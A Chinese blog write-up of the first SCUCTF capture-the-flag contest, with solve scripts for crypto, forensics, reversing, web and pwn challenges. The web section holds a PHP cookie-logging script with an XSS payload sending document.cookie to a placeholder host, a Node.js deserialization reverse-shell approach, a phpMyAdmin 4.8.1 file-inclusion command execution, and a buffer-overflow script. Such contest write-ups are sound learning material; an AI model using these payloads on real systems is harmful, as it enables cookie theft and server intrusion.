第一届SCUCTFWP

前言

时隔两个月再次更新,总算是把一些事情处理得七七八八了。现在就来把上个星期参加的第一届SCUCTF的WP放上来。在此感谢室友2rrrr的两天辛勤付出!

Part0 签到

0x00 [重要]赛前通知

这道题直接提交。
题目

Flag

scuctf{signup}

Part1 Crypto

0x01 佛说,让你签个到

题目
这是个脑洞题,直接在线解密:http://keyfc.net/bbs/tools/tudoucode.aspx 可以得到:
步骤
于是按照提示操作得到flag:

Flag

scuctf{W31c0me_to_scUcTF2ol9}

0x02 audio

题目
wav格式,直接拖到au里查看频谱:
步骤
看到下面一长一短,摩斯电码,在线解密,得到flag:
flag

Flag

scuctf{thisisreallymendokusai}

0x03 X计划

题目
首先我们看到这是一个Des加密:
加密方式
而且密钥和IV都是随机生成的:
随机密钥
随机IV
接下来nc 47.96.138.65 11001看看服务器的返回:
服务器返回
按照题目要求,根据这个明文密文对,输入一个用该密钥和iv加密的密文,使得解密出来明文后四位是XXXX,题目使用的是CBC模式的DES,可以使用字节翻转攻击。关于字节翻转攻击的原理这里不详细讨论,直接进入解题:
随机的一次加密
对于这一组明密文对,明文为两个分组,密文为三个分组,分析脚本:
分析
加密时自动填充了一个分组,这里不去管它。把明文分成Z2y6ylcE,P70K5n1A两个分组,要修改第二个分组后四位5n1A为XXXX,需要对密文第一个分组后四位进行异或操作。
密文第一个分组的后四位为F6 E0 25 E6,根据字节翻转的公式,直接进行操作:
字节反转
得到新字节 9B D6 4C FF,替换原来的4字节,然后提交给服务器,得到flag:
flag

Flag

scuctf{b42a7bcd7c369784aa7c27bd689af21d}

0x04 512位RSA

题目
拿到给的py代码,先看一下:
代码片段1
代码片段2
看到一个要求3s内输入,不能手动,只能写脚本来提交。既然如此,先nc 47.96.138.65 11000看看:
nc结果
和想的一样,过了3秒自动断开。分析题目,给了一组参数n,e,d,要求给出p+q的md5值,md5不是什么问题,主要是根据n,e,d解出p和q,其实这也不是问题,Crypto库里面其实有这个功能的实现,直接导入进来使用就行了:
示例
最终代码如下:

from Crypto.PublicKey import _slowmath
import socket
import hashlib

##连接服务器
s=socket.socket()
host='47.96.138.65'
port=11000
s.connect((host,port))

##过滤得到n,e,d参数
tmp=s.recv(20000).decode('ascii').split('L')
n=eval(tmp[0][4:])
e=eval(tmp[1][5:])
d=eval(tmp[2][5:-45])

##rsa_construct构造RSA加密器对象
tmp=_slowmath.rsa_construct(n,e,d=d)

p=tmp.p
q=tmp.q
##md5
md5=hashlib.md5()
md5.update(str(p + q))

correct_answer = str(md5.hexdigest()).upper()
correct_answer.join('\n')
s.send(correct_answer)
print(s.recv(20000))

运行脚本,得到flag:
flag

Flag

scuctf{89029f10df59cce5dcd812627d2a9964}

Part2 Misc

0x01 Find Others

题目
我们看看拿到的图片,是一张残缺二维码,而且名字是part1.png:
part1.png
用010编译器打开发现是几张png格式的图片凑在一起的。并且还需要补全头部,于是拆分得到四张二维码部分图,将其反色再组合(此处推荐使用Stegsolve直接反色,超级方便),扫码得到flag:
步骤
flag二维码

Flag

scuctf{yOu_f1x_It_very_g00d}

0x02 stream

题目
我们解压,发现报错,于是用010看一下,发现头部残缺,于是将其补全:
补全头部
接着再次查看此压缩包,结果发现flag是假的:
假flag
然而我们发现010打开的时候存在STM:realflag,想到题目名stream,于是想到可能是隐藏了流,于是上AlternateStreamView扫描,得到隐藏的文件realflag.txt。提取之后得到flag:
扫描结果
将其提取出来得到flag:
flag

Flag

scuctf{Th1s_A_s1mpl3_ADS}

0x03 协会最强的人是谁

题目
拿到图片,发现是JavaScript之父(变强就得变秃):
强者
先上010,没发现啥,但是直接拖到底发现有base64:
线索
于是在线解密得到一串加密代码,一看是rot13算法的代码,以及flag经过了des加密,看到最后的conclution(极度怀疑出题方打错了单词),猜测其是密码,rot13后得到abcdefg,于是直接在线解密des,得到flag,更改形式后提交正确。
解密后的代码
flag

Flag

scuctf{1810fc7a8e865dd5}

0x04 藏在最下面的flag

题目
发现是川大简介:
简介
上Stegsolve扫一下通道,发现有隐写痕迹:
线索
于是接下来就是提取数据,没想到题目是这个意思,的确藏在最下面:
提取数据
发现是png格式,将其保存,发现是二维码,不出意外扫描它就能得到flag:
二维码
扫描它,果然得到flag;
flag

Flag

scuctf{6ea6688cc99719eb4624eef718719215}

0x05 婉姐姐的内存镜像

题目
下载后是个vmem镜像,用kali的volatility分析一下:
步骤
是WinXPSP2x86的系统,题目说刚刚复制了flag,查看一下剪贴板,直接就出来了:
flag

Flag

scuctf{ec10a7ad0896c0e5562fbba6a1c1808f}

0x06 流量分析

题目
下载来打开数据包文件,看到是USB流量:
USB流量
usb流量可咋办。。百度了一下,发现有类似的题目,参考了一下解题方法:
https://blog.csdn.net/qq_36609913/article/details/78578406 ,
按照这个方法,首先把usbdata提取出来:

tshark -r xxxxxx_12976f321a1befbf47faa1b94b09c157.pcapng -T fields -e usb.capdata > usbdata.txt

看到数据长度是8个字节,说明是键盘的数据,击键数据在第3字节:
分析
只要查表就可以得出对应的字符了,文章作者已经写好了脚本,对于这个题目同样适用,直接运行脚本,即得到flag:
flag

Flag

scuctf{usbliuliangfenxi}

Part3 Re

这个真的是重头戏了,本WP占最大篇幅的就是Re了。

0x01 baby

题目
Windows程序,先运行看看:
运行结果
乱输一个,直接退出,然后放进IDA里分析:
流程分析
看到这里没有main函数,搜索一下字符串Input:
函数
查找input函数
点开401030函数,F5反汇编,确定这个是main函数:
main函数
这段代码可以直接看懂,401180和401130分别是printf和scanf,输入的字符串长度为30
接下来while循环里做了一个异或操作,再判断是否和内存中的数据相等,相等则输入正确
变量v3是输入的字符串,v4是401000生成的一个数据,进入401000分析:
401000函数分析
是一个递归函数,一开始没看明白是做什么用的,用python对照着写了一下。
尝试结果
很明显,函数返回斐波那契数列第n个值,所以目标就是让输入的字符串和斐波那契数列进行异或的值与byte_41C7D4相等:
byte_41C7D4的值
把这段数据dump出来,编写python脚本:

from libnum import n2s
def func(num):
v1=num
if(num==0 or num==1):
return num
v2=func(num-2)
return (v2+func(v1-1))&2**8-1

arr=[]
for i in range(30):
arr.append(func(i+3))

c='71 60 70 6B 79 73 59 0E 68 E6 DA 26 17 84 44 28 20 1F 9D 69 C0 53 63 45 1D 35 D9 1C E4 78'.split(' ')
c=list(map(lambda x:int('0x'+x,16),c))
flag=''
print(arr,c)
for i in range(30) :
flag+=(n2s(arr[i]^c[i]))
print(flag)

于是得到flag:
flag

Flag

scuctf{91v3_u_y0ur_F1srt_Fl49}

0x02 showme666

题目
先运行程序看看:
程序运行结果
是一个掷骰子程序,必须5个都是6点才能通过,分析程序类型:
程序类型
64位ELF程序,用IDA64打开:
关键点
随机数是用时间作为种子生成,不可控制。而且还有反作弊机制,666:
反作弊
这一段是最终结果部分,如果掷出5个6点,会调用4006B6函数,进入函数查看:
关键函数
其中有putchar,说明该函数会输入字符,应该就是输出flag:
观察到putchar
最重要的是该函数没有参数传入,所以只要动态调试直接将函数地址作为IP就能够执行该函数:
动态调试
一路执行到底,输出了flag,要把flag换成scuctf:
flag

Flag

scuctf{4b54089e328eab73758825a0b40b5be6}

0x03 rcrcrc

题目
Linux程序,先运行看看:
运行结果
程序没有任何输出,随便输入字符,程序退出,IDA64打开分析:
分析
main函数中有scanf和几个变量定义,最终判断四个变量值是否正确,先进入400894查看:
400894函数
其中ROL和部分变量的名字是我自己修改过的,点开ROL很容易分析出这是循环左移函数:
移位函数
看到如下结构,再结合题目名字,基本上可以断定这是一个RC5加密程序:
特征结构
再进入4006FC查看:
4006FC函数
可以确定是RC5加密,一个分组是int,也就是32位,做12轮循环,400894是密钥扩展函数,4006FC是加密函数,附两页ppt:
RC5加密
RC5解密
但与一般的RC5不同的是,该程序每一轮使用的子密钥是一样的:
不同点
循环变量j作为密钥数组索引,没有修改,要进行解密,首先要获得使用的子密钥,在这里无需对密钥扩展函数进行分析,直接在动态调试中从内存dump出各个子密钥即可:
获取子密钥
可以得到4个子密钥0xd24aaa79,0x0bf82ac7,0xeb5a5436,0x04fc4110
按照密钥的使用顺序,编写解密程序:

import libnum
def ror(num,d):
tmp=num>>(d&0x1f)
return tmp|((num<<(32-(d&0x1f)))&2**32-1)

s=[0xd24aaa79,0x0bf82ac7,0xeb5a5436,0x04fc4110]
cipher=[0xf4a956bf,0xba568f3d,0xd73a7f7c,0x817f532b]
message=[]
for r in range(0,3,2):
ld=cipher[r]
rd=cipher[r+1]
for rnd in range(12):
rd=ror((rd-s[r+1])&2**32-1,ld)^ld
ld=ror((ld-s[r])&2**32-1,rd)^rd
rd=(rd-s[1])&2**32-1
ld=(ld-s[0])&2**32-1
message.append(libnum.n2s(ld))
message.append(libnum.n2s(rd))
print(message)

于是乎运行得到:
运行结果
似乎不是可读的字符串,但确实都落在ASCII范围内,看了半天,注意到linux是小端位序,这个结果也是小端方式输出的,实际flag应该倒过来:
flag

Flag

scuctf{rc5_fking_boring}

0x04 baha

题目
Windows程序,运行看看:
运行结果
两段输入,有错误提示,IDA打开分析,先看看函数:
函数
没有main符号,搜索字符串Welcome:
搜索结果
进入该main函数查看:
查看该函数
其中部分变量名和函数名是自己修改过的,程序首先输入两个字符串,然后对第二次输入进行判断,进入check_is_number函数查看:
check_is_number
比较明显的是与48+9=57,也就是’9’的ASCII码,基本上可以得知这个函数是判断是否为数字字符串,但strlen还不太清晰,接下来有一个401060函数,进入查看分析:
401060函数
注意到这里的右移6位,&3F等操作,再结合abcdefg变量:
注意变量
能够判断这是一个base64编码,而
注意点
其中的字符串是base64编码的结果,但是直接取出来进行base64解码发现并不是可读字符串,注意到sub_401000():
sub_401000()
这个函数对base64编码表进行了打乱,上动态调试,直接dump出打乱的编码表:
步骤
编写脚本,查表还原真正的base64编码:

origin='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

modified='pj+Oh2IXB6dyV5ArzmDtML0ZkeqPgwfvJbaSEHnxUY79K4Go3u/TC1sl8iFQWcNR'

key_enc='kEjTmtB3VtHvgs51kl5v'
key=''
for ch in key_enc:
key+=origin[modified.index(ch)]
print(key)

运行脚本,得到第一次输入的name:
需要的name
接着在程序中输入,得到正确的结果:
第一部分结果
接下来看phone:
关键点
这一段将name和phone连接到了一个字符串中,总长度是24,所以phone的长度应该是9,然后看最后的判断:
判断
接下来进入函数查看:
函数分析1
函数分析2
函数分析3
函数内有三段循环,第一段循环是32位常量的异或操作,第二段循环是查表操作,第三段循环特征比较明显,有>>5,×16,也就是<<4操作,并且有-0x61c88647=0x9e3779b9常量,是一个tea加密。结合题目名字baha,ba应该代表base64,ha我觉得应该是hash,那么第二段循环应该是一个hash算法,而用查表方式的hash算法,一般就是crc了。
仔细分析代码,首先取出第一个字符,与初始寄存器异或得到索引值,寄存器右移8位。通过索引查表得到某个值,再与寄存器异或,寄存器长度是两个双字,所以是一个查表法crc64,第一段循环就是生成表的操作,同样直接在动态调试中dump出这张表即可:
dump
有了表后,需要逆向恢复出9个字节内容,因为crc64的长度是8字节,所以第一个字节只能猜测,范围也比较小,在数字字符范围内。恢复的方法参考了:
https://blog.csdn.net/dabang_007/article/details/48713659
因为正向计算时寄存器先逻辑右移8位,再与一个8字节异或,所以第一个字节与查表得到的值的第一个字节相等,利用这个可以得到表中这一个8字节字的索引。得到第一个8字节字后,寄存器先与这个字异或,再左移8位,然后重复第一次操作,一共可以得到8个8字节字的索引。
根据这些索引号,遍历所有的第一个字节,进行一次正向计算,约束后八个字节的输入必须使得查表时的索引号是所期望的值,就能得到每一种符合条件的输入。
Tea的解密比较容易,将+改为-,顺序调换即可。
最后编写脚本:

origin='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
modified='pj+Oh2IXB6dyV5ArzmDtML0ZkeqPgwfvJbaSEHnxUY79K4Go3u/TC1sl8iFQWcNR'

key_enc='kEjTmtB3VtHvgs51kl5v'
key=''
for ch in key_enc:
key+=origin[modified.index(ch)]
print(key)

name='b@sE2019_scucs_'
phone=''
num='0123456789'
data=[0,0,0x30358979,0x7AD870C8,0x606B12F2,0xF5B0E190,0x505E9B8B,0x8F689158,0x9841B68F,0xC038E573,0xA8743FF6,0xBAE095BB,0xF82AA47D,0x358804E3,0xC81F2D04,0x4F50742B,0x6814FE75,0xAB28ECB4,0x5821770C,0xD1F09C7C,0x087FEC87,0x5E980D24,0x384A65FE,0x24407DEC,0xF05548FA,0x6B1009C7,0xC060C183,0x11C8790F,0x903E5A08,0x9EA0E857,0xA00BD371,0xE478989F,0x88BE6F81,0x7D08FF3B,0xB88BE6F8,0x07D08FF3,0xE8D57D73,0x88B81EAB,0xD8E0F40A,0xF2606E63,0x10FFD90E,0xBD301A48,0x20CA5077,0xC7E86A80,0x7094CBFC,0x4880FBD8,0x40A14285,0x32588B10,0xE0AA91F4,0xD620138F,0xD09F188D,0xACF86347,0x80C18306,0x2390F21F,0xB0F40A7F,0x594882D7,0x78EB277B,0x1618F6FC,0x48DEAE02,0x6CC08634,0x18803589,0xE3A8176C,0x28B5BCF0,0x997067A4,0x117CDF02,0xFA11FE77,0x2149567B,0x80C98EBF,0x7117CDF0,0x0FA11FE7,0x41224489,0x75796F2F,0x893D698D,0x3A291B04,0xB908E0F4,0x40F16BCC,0xE9567B7F,0xCF99FA94,0xD963F206,0xB5418A5C,0x79682177,0x513912C3,0x495DA80E,0x2BE1620B,0x19033385,0xA489F353,0x2936BAFC,0xDE51839B,0xE12997F8,0x9101F7B0,0xD11C1E81,0xEBD98778,0x8142850A,0x64B11620,0xB1770C73,0x1E6966E8,0x99C2B083,0x8719014C,0xA9F739FA,0xFDC17184,0xF9A9A271,0x72A9E0DC,0xC99C2B08,0x08719014,0x0183060C,0x4721E43F,0x31B68F75,0x3DF994F7,0x61E814FE,0xB29105AF,0x51DD9D87,0xC8497567,0xF1D64EF6,0x2C31EDF8,0xC1E3C78F,0x56E99D30,0x91BD5C04,0xD9810C68,0xA188D57D,0xA3597CA0,0x6997F879,0xEC09088B,0x59A27100,0x96D17843,0x09FCEA8B,0x19B9E91B,0x39C963F2,0x636199D3,0x7A6E2D6F,0xDF7ADABD,0x4A5BA416,0xA5A2AA75,0x1A053F9D,0x2ACA3B2D,0x2A30B6E4,0x50124BE5,0xE22F9BE0,0x1F423FCE,0xD21A1299,0x659A4F06,0x82448912,0xEAF2DE5E,0xB271006B,0x902AAE96,0x127AD31A,0x74523609,0x224F5A63,0x0E8A46C1,0x7211C1E8,0x81E2D799,0x42244891,0xFB3AA751,0x8A3B6595,0xB46AD37A,0xBA0EECEC,0xCEB2A3B2,0xEA507767,0x41DA32EA,0xDA65FE1E,0x3B024222,0xF2D042EE,0xA2722586,0xC2E5CB97,0xD8AA554E,0x92BB501C,0x57C2C416,0xA28ED965,0x2D1AB4DE,0x6A91F461,0x624AC0F5,0x5AA47D18,0x1892B03D,0x0AFAE693,0x97FA2165,0x3ACF6FEA,0xED2251AD,0x9AC4BC9B,0x095AC932,0xAAF135E2,0x7382B9FA,0xFAAFAE69,0xFCEA28A2,0xCA9A2710,0x8632586A,0x02850A14,0xC9622C41,0x32B0836D,0xB3BA5C89,0x62EE18E6,0x3CD2CDD1,0x52DB919F,0x460ABD19,0x6B12F26D,0x256B24CA,0x5B277B14,0x5FB35402,0x0B79E09F,0xD0DBC55A,0x3B4C69E6,0xAA03B592,0xF35344E2,0xE553C1B9,0xC366CD9B,0x9F8BB171,0x93385610,0x10E32029,0xA30DDF69,0x6A3B50E1,0x03060C18,0x8E43C87E,0x33338561,0xF49BB8B6,0x636D1EEA,0x7BF329EE,0x53589793,0x012B5926,0x9B47BA97,0x4E7B2D0D,0xAB7233EE,0x34A35DC5,0xFB2CA865,0xBBCBCC9D,0xCB19211C,0xC113BC55,0xE3AC9DEC,0x5863DBF1,0xD3991495,0x22BBAB39,0x83C78F1E,0xADD33A61,0xB3F20667,0xD70B4AA9,0x7BED2B63,0x985B3E82,0x4BD8A21A,0xE2834E4A,0x1B863991,0x6DEBDF12,0x2BB3B0E8,0x1733AFDA,0x8BB86399,0xF34B3745,0xBB8DEAE0,0x8993478D,0xEBD3716B,0x06FBD6D5,0xDBE6F812,0x7C23A61D,0x13F9D516,0x3373D236,0x23CC5C6F,0x49ABA2FE,0x7392C7E4,0xC6C333A6,0x43A74E9D,0xBC1B436E,0xAC4BC9B5,0x95AC9329,0x9C7E40CC,0xEF74E3E1,0xCC20DB47,0x601C72B9,0xFC15523E,0x1AC40271,0x340A7F3A,0x5594765A,0x043FF643,0x2F4C0692,0x54616DC8,0xA02497CA,0x6454E4B1,0xDAFCE702,0xC45F37C0,0x3E847F9D,0xF46ABEB9,0x445C0F55,0xA4342532,0xCB349E0D,0x9401AC4B,0xB1ECEEC5,0x5C1E814F,0xFEBC9AEE,0x6C2B0836,0x8464EA26,0x3C7593BD,0x0B0C7B7E,0x0C401AC4,0x71D40BB6,0x24F5A634,0xE8A46C12,0x14C02F4D,0x927C1CDA,0x449EB4C6,0x1D148D82,0x74AB3DBF,0x67CCFD4A,0xBCB410BB,0x289C8961,0x8C8199C2,0x5244F9A9,0xDCDF0249,0xDD2C68F1,0xECEA8B30,0xA7F41839,0x4CE15841,0x438C80A6,0x7CD4D138,0x3954F06E,0x2C8A4AB3,0xB63C6136,0x1CBFC3CA,0xCCE411FE,0xD4A0EECE,0x83B465D5,0xE49567B7,0xF96C151D,0xB4CBFC3C,0x76048445,0x84FE7545,0x0CDCF48D,0xBD3716B7,0x6FBD6D5E,0x8D029FCE,0x15651D96,0xDD5C0445,0x9A0D8CCE,0xED698D3C,0xE0D5FC06,0x2576A038,0xAF85882D,0x15432941,0xD55DF8E5,0x451DB2CA,0x5A3569BD,0x75283BB3,0x20ED1975,0xD523E8C2,0xC49581EA,0xE51661BB,0xBE4DF122,0xB548FA30,0x3125607A,0x857D7349,0x4BFD10B2,0x4D625E4D,0x04AD6499,0x7D57D734,0x7E751451,0x2D094CBF,0xF11D8509,0x1D3CC5C6,0x8BC5F5C1,0x35897936,0x12B59265,0x05BCF04F,0x686DE2AD,0x55E26BC4,0xE70573F5,0x65D7E2BD,0x9DDD033D,0xADC8CFB9,0xD28D7716,0x9DFD46C0,0xA85507DE,0xCDA3DD4B,0x273D9686,0xFD965432,0x5DE5E64E,0x5D9D8743,0xB99D7ED1,0x6DA80E3A,0xC3450E19,0x3DF695B1,0x4C2D9F41,0x0DC31CC8,0x36F5EF89,0xC5DC31CC,0x79A59BA2,0xF5E9B8B5,0x037DEB6A,0xA5B7233E,0x8C157A32,0x9582AA47,0xF6CD0AFA,0xD625E4DA,0x4AD64994,0xE6106DA3,0x300E395C,0xB64EF628,0xBF66A804,0x867B7F51,0xC5BED8CC,0x4E645255,0x8AEEACE7,0x7E51DB2C,0xF036DC2F,0x2E0F40A7,0x7F5E4D77,0x1E3AC9DE,0x05863DBF,0xBE311AAF,0xE1FEA520,0x8E0493D6,0x9B26D5E8,0xDE5A085D,0x144E44B0,0xEE6F8124,0x6E963478,0x2670AC20,0x21C64053,0x16452559,0x5B1E309B,0x461BBED2,0xD476A1C3,0x762E37AB,0xAEAED10B,0x5E9B8B5B,0x37DEB6AF,0x6EAE0222,0x4D06C667,0x3EF099A9,0xC26E573F,0x0EC510D0,0xB8B627F7,0xC6DA3DD4,0xF7E653DC,0xF6EFB4AD,0x8D3E2314,0xA6B12F26,0x0256B24C,0x9684A65F,0x788EC284,0x368F752E,0x9CF65A1B,0x06BAFC57,0xE62E2AD3,0x56E467DC,0x6946BB8B,0x66D1EEA5,0x139ECB43,0xAECEC3A1,0x5CCEBF68,0x9EFB4AD8,0x2616CFA0,0xCEA5D153,0xA97E5EF8,0xFE90582A,0xD3A62E30,0xC7593BD8,0xB0C7B7E3,0xF76CB2A1,0xCA1FC72B,0xA732292A,0x45775673,0x9707A053,0x3FAF26BB,0x5F188D57,0x70FF5290,0x6F2D042E,0x0A272258,0x3F739FA5,0x854FB300,0x0F4616DC,0xFF97C3C8,0xAF4DC5AD,0x1BEF5B57,0x9F784CD4,0x61372B9F,0xCF26D75F,0xEE5FBAC7,0xFF135E26,0x9487CA0F,0x370C7322,0xDBD7BE24,0x0739FA5B,0xA10FCEEC,0x576761D0,0x2E675FB4,0x6752E8A9,0x54BF2F7C,0x4FE75459,0xCDCF48D8,0x7FD2DD20,0xB7173810,0x2F8C46AB,0x387FA948,0x1FB9CFD2,0x42A7D980,0xD7A6E2D6,0x0DF7ADAB,0xE7936BAF,0x772FDD63,0xB7CDF024,0xF8474C3B,0x87F8795D,0x829F3CF3,0x27F3AA2C,0x66E7A46C,0x17C62355,0x1C3FD4A4,0x4798B8DE,0x935745FC,0x77AD31A7,0xE98F3534,0xBFB21CA3,0xA6DF411F,0x8F8795DA,0xDC0731D7,0xDFD90E51,0x536FA08F,0xEFEC8728,0x29B7D047]

k=[0x2175da3a,-0x4c241d25,0x149b411,-0x2b15395b]
delta=0x9e3779b9
summary=0xc6ef3720
result=[0x26e17720,0x81814336]
for r in range(32):
result[1]-=((summary+result[0])&0xffffffff) ^ (((result[0]>>5)-0x2b15395b)&0xffffffff) ^ (((result[0]<<4)+0x149b411)&0xffffffff)
result[1]&=0xffffffff
result[0]-=((summary+result[1])&0xffffffff) ^ (((result[1]>>5)-0x4c241d25)&0xffffffff) ^ (((result[1]<<4)+0x2175da3a)&0xffffffff)
result[0]&=0xffffffff
summary-=delta
print('ans=',map(hex,result))

for ch in name:
v14=origin[0]^ord(ch)
index=2*(v14&0xff)
origin[0]=(origin[0]>>8)+((origin[1]&0xff)<<24)
origin[1]>>=8
origin[0]^=data[index]
origin[1]^=data[index+1]
print('origin=',map(hex,origin))

blks=[]
for r in range(8):
e=result[1]&0xff000000
for i in range(len(data)):
if e==data[i]&0xff000000 and i%2==1:
blks.append(i)
result[1]=((((result[1]^data[i]))<<8)&0xffffffff)
print(map(hex,result))
result[0]=(result[0]^data[i-1])&0xffffffff
result[1]+=(result[0]&0xff000000)>>24
result[0]=(result[0]<<8)&0xffffffff
print(map(lambda x:hex(data[x]),blks))

for n in num:
origin=[0x424fa357, 0x3f6a6fab]
ind=[]
number=''
for i in range(len(blks)+1):
if i==0:
v14=origin[0]^ord(n)
index=2*(v14&0xff)
number+=n
else:
index=blks[len(blks)-i]-1
number+=(chr((origin[0]^(index/2))&0xff))
origin[0]=(origin[0]>>8)+((origin[1]&0xff)<<24)
origin[1]>>=8
origin[0]^=data[index]
origin[1]^=data[index+1]
print('n=',n,' i=',i,map(hex,origin),number)
print(map(hex,origin))

可以看到201914153是符合条件的输入:
运行结果
所以最终flag为两端输入拼起来。

Flag

scuctf{b@sE2019_scucs_201914153}

part4 Web

0x01 来了老弟?

题目
进入链接,发现啥都没有,看了看图片,进行了一番分析,无果。于是怀疑页内跳转,查看数据包,发现:
注意点
将其base64解密得到flag。

Flag

scuctf{y0U_jUs7_neEd_car3ful}

0x02 简单的XSS

题目
拿到链接,发现link1的的确确会访问我们输入的网址,link2是个老实巴交的网站,随便XSS,这种dom型xss明显是cookie处入手,于是考虑在link1处填入link2经过xss后可以跳转到记录cookie的站点的url,可以写出记录cookie的脚本,部署于服务器:

<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv ('HTTP_REFERER');
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('cookie.txt', 'a');
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");
fclose($fp);
header("Location: http://www.baidu.com");
?>

然后在link2处动下手脚,构造payload= http://120.78.185.175:5000/hachp1/love/index.php?greet=%3Cscript%3Ewindow.open(%22http://yourip/cookie.php?cookie=%22%2bdocument.cookie)%3C/script%3E
然后在link1处填入提交即可,可能由于出题方服务器问题需要多试几次,总之我们得到flag如图:
flag
改变格式提交正确。

Flag

scuctf {l0v3_15_s0_w4rm}

下一道稍难一点的Xss我怀疑有问题,已经构造出弹窗,真正测试的时候却没有cookie被记录,搞了很久结果都没搞出来。😭

0x03 你好呀

题目
拿到网站,发现提示app.js.bak,于是访问它看到:
提示
很明显,这是node.js的一个CVE漏洞,经过查阅资料(参考链接:https://www.anquanke.com/post/id/85458 ),得知我们需要得到一个反射shell,于是根据
https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py 提供的脚本,加上我们想要作为监听方的ip,可以构造:
构造字符串
接着根据漏洞点,构造序列化字符串,并将其base64加密,得到:
关键
接下来就是抓包修改cookie的profile字段:
改数据包
开启监听后可以看到得到了反射shell:
flag

Flag

scuctf{2602547F25B5C13D62F010230D917481}

0x04 艾迪魔力转圈圈~

题目
拿到链接,发现需要先登录phpmyadmin,于是试了下密码123456,登录成功!发现了此版本是4.8.1:
版本
这不是可以任意文件包含的那个版本吗??根据题目提示flag在根目录,于是马上执行查询,这条语句的效果是进入根目录再列出所有文件及文件夹:

select ‘<?php system(“cd /&& ls”)?>’

想要利用这个漏洞,需要session,接着我们拿到我们的session开始搞事情:
拿到session
接下来就是执行刚才的命令了,好在没有更改session位置:
http://47.110.93.156:45786/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_d338dj1h7ebsbtnmd47lah0fec26am5l 得到:
结果
可以看到我们已经成功得知flag的名字,于是构造查询:
构造查询语句
语句执行结果
再刷新一下页面,得到flag:
flag

Flag

scuctf{Phpmy4dm1n_1s_n0t_s4t3}

Part5 Pwn

这次的Pwn虽然只搞出一个,但是确实又是了解到了不少操作。

0x01 babystack

题目
拿到二进制文件,checksec发现保护全开:
保护
然后IDA看一下,发现main()十分简单直白:
分析
程序逻辑是看v5与dword_202010异或是否为14649,其中dword_202010的值为:
dword_202010
我们发现(14649=0x9011)^0x1a0a=0x2333!=(8960=0x2300),于是需要我们用buf覆盖v5的值为0x2333。
接下来计算偏移量,可以看到buf到v5之间差了16字节,于是只要用16个垃圾字符填充,即可覆盖掉v5:
计算偏移
上十分简单的脚本:

from pwn import *
p=remote('119.23.206.23',10001)
payload='a'*16+p32(0x2333)
p.send(payload)
p.interactive()

运行结果如图:
flag

Flag

scuctf{f3035665-6614-43c3-a3ad-1ca46242c0fd}

文章作者: Leaflag
文章链接: https://www.leaflag.cn/2019/05/27/第一届SCUCTFWP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeaflagのBlog